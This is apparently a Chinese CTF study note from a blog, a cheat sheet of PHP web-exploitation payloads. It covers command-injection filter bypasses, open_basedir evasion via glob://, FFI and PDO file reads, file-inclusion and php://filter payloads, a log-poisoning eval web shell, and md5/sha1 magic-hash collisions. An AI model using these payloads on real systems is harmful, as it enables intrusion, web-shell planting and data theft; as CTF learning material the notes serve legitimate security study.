命令执行
过滤;可以用%0a代替
绕过黑洞
2>/dev/null 意思就是把错误输出到“黑洞” >/dev/null 2>&1 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
%09 ${IFS} <> <可以代替空格
? '' 可以代替 *
*可以代替0个及以上任意字符
?可以代表1个任意字符
查看文件 cat tac nl more paste 系统命令
php自带命令 show_source
上传临时文件rce 参考文章 :https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
当出现黑洞时加exit();
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
c=$a="glob:///*.txt";if($b=opendir($a)){while(($file=readdir($b))!==false){echo "filename:".$file."\n";}closedir($b);}exit();
调用phpsql语句查询
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
使用FFI,PHP>=7.4
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
内置命令
# echo ${PWD}
/root
# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
# echo ${PWD:~0}
t
# echo ${PWD:~A} #所以字母和0具有同样作用
t
# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
文件包含
?file=data://text/plain,<?=system("tac%20flag.php");?>
?file=Php://input 再post:<?php system("tac flag.php");?>
?file=php://filter/read=convert.base64-encode/resource=flag.php
包含日志文件 ua头注入
?file=/var/log/nginx/access.log
修改UA为:<?php @eval($_REQUEST[1])?>
php特性
intval()函数用于获取变量的整数值。intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量var的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。也就是说,当给intval()函数传入一个非空的数组时,intval()函数将会返回1
if(preg_match('/^php$/im', $a)) #/i表示匹配大小写,/m表示多行匹配
/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。
但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。
payload:?cmd=aaa%0aphp
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
强类型转换,利用md5数组返回false false=false 通过判断
payload:a[]=1&b[]=1
echo new ReflectionClass('ctfshow'); 反射获取类
100
绕过md5、sha1
以下值在md5加密后以0E开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
以下值在sha1加密后以0E开头:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
双重MD5加密后0E开头:
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
标签:php,intval,echo,PWD,file,随笔,cftshow,md5
From: https://www.cnblogs.com/aacjlokl/p/16747938.html